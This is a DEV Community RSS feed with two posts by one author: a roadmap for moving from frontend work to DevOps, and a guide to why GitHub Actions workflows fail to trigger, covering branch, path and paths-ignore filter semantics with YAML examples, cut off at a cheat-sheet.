<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: opscanopy</title>
    <description>The latest articles on DEV Community by opscanopy (@opscanopy).</description>
    <link>https://dev.to/opscanopy</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3982315%2F76cf6c25-3b03-4a82-9a14-c0f39bab7ea1.png</url>
      <title>DEV Community: opscanopy</title>
      <link>https://dev.to/opscanopy</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/opscanopy"/>
    <language>en</language>
    <item>
      <title>6 years of frontend, then I jumped to DevOps. The roadmap I'd actually follow in 2026</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sat, 27 Jun 2026 18:54:59 +0000</pubDate>
      <link>https://dev.to/opscanopy/6-years-of-frontend-then-i-jumped-to-devops-the-roadmap-id-actually-follow-in-2026-1ljg</link>
      <guid>https://dev.to/opscanopy/6-years-of-frontend-then-i-jumped-to-devops-the-roadmap-id-actually-follow-in-2026-1ljg</guid>
      <description>&lt;p&gt;It was a Friday around 11pm and I was three hours into a build that wouldn't go green on a colleague's machine. Not a bug in my code. A version mismatch in a Webpack loader, a Node engine warning, and a peer-dependency tree that looked like the Bengaluru traffic on a Monday morning. I remember thinking: I've been doing React for six years and I still spend half my week fighting the &lt;em&gt;machine my code runs on&lt;/em&gt;, not the code itself.&lt;/p&gt;

&lt;p&gt;That night I started reading about Docker. Not to become a DevOps engineer. Just to make the pain stop.&lt;/p&gt;

&lt;p&gt;Eighteen months later I was on-call for a payments platform, writing Terraform, and getting paid noticeably more to do work I actually liked. So this is the post I wish someone had handed me on that Friday.&lt;/p&gt;

&lt;p&gt;Frontend skills transfer better than you think. Learn Linux and networking &lt;em&gt;first&lt;/em&gt; (boring, non-negotiable), then Docker, then one cloud, then CI/CD, then Kubernetes &lt;em&gt;only when you have a reason&lt;/em&gt;. Skip the certification rabbit hole until you've shipped something real. The full ordered path is at the end.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffclevkxvb4lluq6p793q.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffclevkxvb4lluq6p793q.jpeg" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a frontend dev is weirdly well-suited for this
&lt;/h2&gt;

&lt;p&gt;Here's the thing nobody told me: you're not starting from zero. You're starting from the side.&lt;/p&gt;

&lt;p&gt;Years of frontend quietly taught you a bunch of DevOps muscle. You've debugged async race conditions, which is distributed-systems thinking in a smaller box. You've stared at network tabs and waterfall charts, so latency and request lifecycles aren't scary. You've fought caching bugs, which is half of what makes production hard. And you already live in the terminal, in Git, in YAML config files that lie to you.&lt;/p&gt;

&lt;p&gt;What you're missing is mostly the layer &lt;em&gt;below&lt;/em&gt; the browser. The server. The network. The box your app actually runs on.&lt;/p&gt;

&lt;p&gt;That's a much smaller gap than the "I'm switching careers from scratch" story your imposter syndrome is telling you.&lt;/p&gt;

&lt;h2&gt;
  
  
  The stuff I wasted time on (so you don't have to)
&lt;/h2&gt;

&lt;p&gt;Let me be honest about the dead-ends, because the happy-path roadmaps never are.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;I tried to learn Kubernetes in month two.&lt;/strong&gt; Total disaster. I was memorizing &lt;code&gt;kubectl&lt;/code&gt; commands for a system I had no mental model for. It's like learning to parallel-park a truck before you can drive a scooter. Kubernetes solves problems you haven't felt yet. Feel the problems first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;I collected certifications like Pokémon cards.&lt;/strong&gt; I did a cloud cert before I'd ever deployed a single real thing. The exam taught me to recognize service names, not to use them. I forgot 70% of it within a month because none of it was attached to a real memory of &lt;em&gt;doing&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;I treated "DevOps" as a tool checklist.&lt;/strong&gt; I thought the job was knowing 40 tools. It isn't. The job is shrinking the gap between "code written" and "code running safely in front of users." Tools are just how you do that.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The biggest waste, though, was skipping Linux fundamentals because I assumed I "basically knew" the terminal from frontend work. I did not. Knowing &lt;code&gt;cd&lt;/code&gt; and &lt;code&gt;npm run dev&lt;/code&gt; is not knowing Linux.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Real talk: the day I understood file permissions, processes, and how stdout/stderr actually work, half of DevOps stopped feeling like magic and started feeling like plumbing. Good plumbing. Knowable plumbing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  The order that actually worked
&lt;/h2&gt;

&lt;p&gt;So here's the sequence, the one I'd run again if I had to restart tomorrow. Each step earns the next one. Don't jump ahead just because a job ad mentioned a shiny tool.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Linux + the shell (3–5 weeks).&lt;/strong&gt; Files, permissions, processes, &lt;code&gt;systemd&lt;/code&gt;, package managers, piping, writing a basic bash script that doesn't fall over. This is the floor everything else stands on. I put together the version of this I wish I'd had in the &lt;a href="https://opscanopy.com/learn/guides/linux-for-devops" rel="noopener noreferrer"&gt;Linux for DevOps guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Networking basics (2–3 weeks).&lt;/strong&gt; DNS, HTTP, TCP/IP, ports, what a subnet actually is, how a load balancer routes. You don't need a CCNA. You need to stop being scared of a CIDR block. (When I was wrapping my head around subnets I kept a &lt;a href="https://opscanopy.com/subnet-calculator" rel="noopener noreferrer"&gt;subnet calculator&lt;/a&gt; open in a tab. No shame in that.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docker (3–4 weeks).&lt;/strong&gt; Images vs containers, layers, volumes, networking, a sane &lt;code&gt;Dockerfile&lt;/code&gt;, then &lt;code&gt;docker compose&lt;/code&gt; for multi-service local setups. This is the step where frontend devs have their first "ohhh" moment, because it kills the "works on my machine" problem you've hated for years. Start with the &lt;a href="https://opscanopy.com/learn/guides/docker-for-devops" rel="noopener noreferrer"&gt;Docker for DevOps guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One cloud, and go deep on AWS (6–8 weeks).&lt;/strong&gt; Not all three. One. IAM, EC2, VPC, S3, then RDS and Lambda. Most of the market runs on AWS, so the leverage is highest there. The &lt;a href="https://opscanopy.com/learn/guides/aws-for-devops-engineers" rel="noopener noreferrer"&gt;AWS for DevOps walkthrough&lt;/a&gt; covers the services that actually show up in the job, not all 200+.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CI/CD (2–3 weeks).&lt;/strong&gt; GitHub Actions is a gentle on-ramp because you already know Git and YAML. Build a pipeline that tests, builds a Docker image, and deploys it somewhere. This is the moment it all clicks into one loop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Infrastructure as Code (3–4 weeks).&lt;/strong&gt; Terraform. Stop clicking buttons in the AWS console; describe your infra in code, review it like code, version it like code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kubernetes, last, and only when you need it (ongoing).&lt;/strong&gt; Now you have the mental model. Pods, services, deployments, ingress will make sense because you've felt the problems they solve. The &lt;a href="https://opscanopy.com/learn/guides/kubernetes-for-devops" rel="noopener noreferrer"&gt;Kubernetes for DevOps guide&lt;/a&gt; is where I'd start once you're here.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Notice what's &lt;em&gt;not&lt;/em&gt; in the early steps? Kubernetes. Service meshes. Helm charts. That stuff is real and worth learning, just later. Front-loading it is the single most common way people burn out before they get anywhere.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvquhtl7j9qvg3b5qddhf.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvquhtl7j9qvg3b5qddhf.jpeg" alt="path for devops" width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How long does this really take?
&lt;/h2&gt;

&lt;p&gt;If you're doing this on the side while holding a frontend job, say 8 to 10 hours a week, I'd budget &lt;strong&gt;six to nine months&lt;/strong&gt; to get genuinely employable in a junior-ish DevOps or platform role. Not six weeks. Anyone selling you six weeks is selling you something.&lt;/p&gt;

&lt;p&gt;The good news is you can earn while you learn by doing it &lt;em&gt;inside&lt;/em&gt; your current job. Volunteer to own the team's CI pipeline. Dockerize the dev environment nobody wants to touch. Fix the deploy that breaks every other Friday. You become the "infra person" on a frontend team long before your title changes, and that internal track record is worth more than any cert.&lt;/p&gt;

&lt;p&gt;On money, since everyone asks and nobody answers honestly: from what I've seen and from public salary data in India, DevOps/SRE roles tend to sit a notch above equivalent frontend roles. Rough ranges I've seen floating around for the Indian market: early-career landing somewhere in the ₹8–15 LPA band, mid-level often ₹18–30 LPA, and seniors/SREs in good product companies in Bengaluru, Hyderabad or Pune going well beyond that. Treat those as ballpark, not gospel; they swing hard with company, location, and whether it's a product firm or a services shop.&lt;/p&gt;

&lt;h2&gt;
  
  
  The mindset shift that mattered most
&lt;/h2&gt;

&lt;p&gt;Frontend trained me to optimize for the happy path. Make the thing work, make it pretty, ship it.&lt;/p&gt;

&lt;p&gt;DevOps trained me to ask the uncomfortable second question: &lt;em&gt;what happens when this fails at 2am?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That reframe is the actual job. It's why on-call exists, why we obsess over observability, why "it works on my machine" is a punchline. You stop thinking about the moment of success and start thinking about the whole lifecycle: deploy, run, fail, recover, repeat. Once that clicks, you read systems differently. A payment that fails silently at 2am during an IPL-final traffic spike is a very different problem than a button that's the wrong shade of green.&lt;/p&gt;

&lt;p&gt;Both matter. But one of them gets you a pager and a raise.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2f6a9zlj9mzqp9ch5wqw.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2f6a9zlj9mzqp9ch5wqw.jpeg" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd tell my Friday-night self
&lt;/h2&gt;

&lt;p&gt;You're not behind. You're not too "frontend" for this. The treadmill you're tired of, the framework churn and the build-tool roulette, is exactly the friction DevOps exists to remove. You already feel the pain that this whole field is built to solve. That's not a disadvantage. That's a head start.&lt;/p&gt;

&lt;p&gt;Just go in the right order. Linux before Kubernetes. Doing before certs. Depth in one cloud before breadth across three.&lt;/p&gt;

&lt;p&gt;I eventually got tired of stitching together scattered tutorials, half-right YouTube playlists, and Reddit threads from 2019, so I put the path I wish I'd had into a single free, structured plan. No signup wall, no upsell. If you want a map instead of a pile of bookmarks, start with the &lt;a href="https://opscanopy.com/learn/roadmaps/devops" rel="noopener noreferrer"&gt;DevOps roadmap&lt;/a&gt; and browse the rest of the &lt;a href="https://opscanopy.com/learn" rel="noopener noreferrer"&gt;free guides and roadmaps in the Learn hub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Pick step one. Open a terminal. Start the timer. Future-you, the one who isn't debugging a Webpack loader at 11pm, says thanks.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>career</category>
      <category>beginners</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Why Your GitHub Actions Workflow Didn't Trigger: branches, tags &amp; paths Filters Explained</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sun, 14 Jun 2026 15:22:10 +0000</pubDate>
      <link>https://dev.to/opscanopy/why-your-github-actions-workflow-didnt-trigger-branches-tags-paths-filters-explained-1ib</link>
      <guid>https://dev.to/opscanopy/why-your-github-actions-workflow-didnt-trigger-branches-tags-paths-filters-explained-1ib</guid>
      <description>&lt;p&gt;You pushed a commit, opened the Actions tab, and there's nothing there. No red X, no yellow dot — the workflow simply didn't run. There's no error to read, no log to grep, because a workflow that doesn't trigger produces no run at all. The decision happened before any runner was assigned, inside GitHub's event-filtering logic, and that logic is more surprising than the docs make it look.&lt;/p&gt;

&lt;p&gt;Almost every "why did my GitHub Actions workflow not trigger" report comes down to one of a handful of causes: the workflow file isn't on the branch you pushed to, your &lt;code&gt;branches&lt;/code&gt; filter doesn't match the ref, or — the big one — you combined &lt;code&gt;branches&lt;/code&gt; and &lt;code&gt;paths&lt;/code&gt; without realizing they're ANDed together. Here's each cause with the deciding rule and the fix.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. The workflow file isn't on the target branch
&lt;/h2&gt;

&lt;p&gt;GitHub reads &lt;code&gt;on:&lt;/code&gt; triggers from the version of the workflow file &lt;strong&gt;that exists on the branch receiving the event&lt;/strong&gt; — not from your default branch. If you added &lt;code&gt;.github/workflows/ci.yml&lt;/code&gt; on &lt;code&gt;main&lt;/code&gt; but push to a &lt;code&gt;feature/x&lt;/code&gt; branch that branched off &lt;em&gt;before&lt;/em&gt; that file existed, there's no workflow to trigger there.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# on main, but feature/x branched before this file existed&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;**'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the most common false alarm. The fix is mechanical: merge or rebase &lt;code&gt;main&lt;/code&gt; into the branch so the workflow file is present, then push again. The same rule explains why edits to &lt;code&gt;on:&lt;/code&gt; triggers only "take effect" once the change reaches the branch you're testing on.&lt;/p&gt;

&lt;p&gt;Why it matters: there is no error message for "no workflow file here." It's the first thing to rule out before you suspect your filters.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. The branch filter doesn't match the ref
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;branches&lt;/code&gt; and &lt;code&gt;tags&lt;/code&gt; are glob patterns, and the glob rules are stricter than shell globs. A plain &lt;code&gt;*&lt;/code&gt; matches &lt;strong&gt;one path segment&lt;/strong&gt; — it stops at &lt;code&gt;/&lt;/code&gt;. To match across slashes you need &lt;code&gt;**&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — '*' does not cross '/', so 'release/1.2' never matches&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;release/*'&lt;/span&gt;   &lt;span class="c1"&gt;# matches release/1.2 ... actually this IS fine&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;feature*'&lt;/span&gt;    &lt;span class="c1"&gt;# matches 'feature' and 'featureX' but NOT 'feature/login'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The trap is &lt;code&gt;feature*&lt;/code&gt; versus &lt;code&gt;feature/**&lt;/code&gt;. &lt;code&gt;feature*&lt;/code&gt; matches the literal segment &lt;code&gt;featureX&lt;/code&gt;, but a branch named &lt;code&gt;feature/login&lt;/code&gt; contains a slash, and &lt;code&gt;*&lt;/code&gt; won't cross it. You want &lt;code&gt;feature/**&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — ** crosses slashes&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;release/**'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;feature/**'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;main&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The glob characters GitHub honors: &lt;code&gt;*&lt;/code&gt; (any chars except &lt;code&gt;/&lt;/code&gt;), &lt;code&gt;**&lt;/code&gt; (any chars including &lt;code&gt;/&lt;/code&gt;), &lt;code&gt;?&lt;/code&gt; (one char), &lt;code&gt;+&lt;/code&gt; (one or more of the preceding), &lt;code&gt;[]&lt;/code&gt; character ranges, &lt;code&gt;!&lt;/code&gt; at the start of a pattern to negate, and &lt;code&gt;\&lt;/code&gt; to escape a special character (so &lt;code&gt;\*&lt;/code&gt; matches a literal asterisk). Order matters for negation — a later &lt;code&gt;!pattern&lt;/code&gt; excludes refs an earlier pattern included.&lt;/p&gt;

&lt;p&gt;Why it matters: &lt;code&gt;*&lt;/code&gt; not crossing &lt;code&gt;/&lt;/code&gt; is responsible for a huge share of "github actions branches filter not working" reports. When in doubt, reach for &lt;code&gt;**&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. The AND-semantics of &lt;code&gt;branches&lt;/code&gt; + &lt;code&gt;paths&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;This is the one that burns experienced engineers. When a &lt;code&gt;push&lt;/code&gt; or &lt;code&gt;pull_request&lt;/code&gt; event has &lt;strong&gt;both&lt;/strong&gt; a branch filter and a path filter, the event must satisfy &lt;strong&gt;both&lt;/strong&gt; to trigger. They are ANDed, not ORed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — intent: "run on a push to main, OR when src changes"&lt;/span&gt;
&lt;span class="c1"&gt;# reality: "run only on a push to main AND when src/** changed"&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;src/**'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A push to &lt;code&gt;main&lt;/code&gt; that only touches &lt;code&gt;README.md&lt;/code&gt; will &lt;strong&gt;not&lt;/strong&gt; run this workflow — the branch matched, but no path did, and both must hold. People read this block as an OR and are baffled when docs-only commits skip CI.&lt;/p&gt;

&lt;p&gt;If you genuinely want "main pushes always, plus any branch when &lt;code&gt;src&lt;/code&gt; changes," that's two separate filter sets, which &lt;code&gt;on:&lt;/code&gt; can't express in one &lt;code&gt;push&lt;/code&gt; block — you split it across triggers or use job-level &lt;code&gt;if:&lt;/code&gt; conditions on &lt;code&gt;github.ref&lt;/code&gt; instead.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — be explicit that you want both conditions, or drop one&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;src/**'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.github/workflows/**'&lt;/span&gt;   &lt;span class="c1"&gt;# so CI changes still trigger&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why it matters: the AND-semantics are documented in one sentence and contradict most people's intuition. If your workflow "randomly" skips some pushes to the right branch, a path filter is almost always the cause.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. &lt;code&gt;paths&lt;/code&gt; with no &lt;code&gt;branches&lt;/code&gt; companion still needs a real ref
&lt;/h2&gt;

&lt;p&gt;A subtle corollary: when you filter &lt;code&gt;on.push.paths&lt;/code&gt; and want it to apply across all branches, you don't need a &lt;code&gt;branches&lt;/code&gt; block at all — omitting it means "all branches." But the moment you add &lt;code&gt;branches&lt;/code&gt;, rule #3 kicks in. People sometimes add &lt;code&gt;branches: ['**']&lt;/code&gt; thinking it's required for &lt;code&gt;paths&lt;/code&gt; to work; it isn't, and adding it changes nothing because &lt;code&gt;**&lt;/code&gt; matches every branch anyway. The thing to internalize is that a missing filter means "match everything," and a present filter narrows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# These behave identically: paths applies to every branch&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;src/**'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;span class="c1"&gt;# vs&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;**'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;src/**'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5. &lt;code&gt;paths-ignore&lt;/code&gt; and the diff that's too big
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;paths-ignore&lt;/code&gt; skips the run &lt;strong&gt;only if every changed file matches an ignore pattern&lt;/strong&gt;. If a single file falls outside the ignore list, the workflow runs. So one stray change defeats the whole filter — which is usually what you want, but surprises people who expect "ignore these files" to mean "ignore commits that touch these files."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Skips ONLY when every changed file is docs; one code file =&amp;gt; runs&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;paths-ignore&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docs/**'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;**.md'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two more gotchas live here. First, path filters are evaluated against the &lt;strong&gt;diff&lt;/strong&gt;, and GitHub only inspects up to 300 changed files (1,000 commits) — beyond that limit, path filtering gives up and the workflow runs (or is evaluated as if the filter passed). A giant force-push or a huge merge can trigger a workflow your &lt;code&gt;paths-ignore&lt;/code&gt; "should" have skipped. Second, you cannot mix &lt;code&gt;paths&lt;/code&gt; and &lt;code&gt;paths-ignore&lt;/code&gt; in the same trigger; pick one.&lt;/p&gt;

&lt;p&gt;Why it matters: &lt;code&gt;paths-ignore&lt;/code&gt; is an all-or-nothing gate on the diff, and the 300-file ceiling means it's not a hard guarantee on large changes.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. &lt;code&gt;pull_request&lt;/code&gt;, forks, and &lt;code&gt;pull_request_target&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Branch filters on &lt;code&gt;pull_request&lt;/code&gt; match the &lt;strong&gt;base&lt;/strong&gt; branch (where the PR will merge), not the head branch the contributor is working on. If you write &lt;code&gt;branches: [main]&lt;/code&gt; expecting it to match the contributor's &lt;code&gt;feature/x&lt;/code&gt;, it won't — it matches PRs &lt;em&gt;targeting&lt;/em&gt; &lt;code&gt;main&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Runs on PRs whose BASE (merge target) is main or a release branch&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;main&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;release/**'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And &lt;code&gt;pull_request&lt;/code&gt; from a fork is restricted: a first-time contributor's PR may require manual approval before any workflow runs, which looks identical to "didn't trigger." If you switched to &lt;code&gt;pull_request_target&lt;/code&gt; to get around fork restrictions, note that it reads the workflow and triggers from the &lt;strong&gt;base&lt;/strong&gt; branch's version of the file — and carries real security risk, covered in our &lt;a href="https://dev.to/blog/github-actions-security-misconfigurations"&gt;GitHub Actions security misconfigurations&lt;/a&gt; post.&lt;/p&gt;

&lt;h2&gt;
  
  
  A copy-paste filter cheat-sheet
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
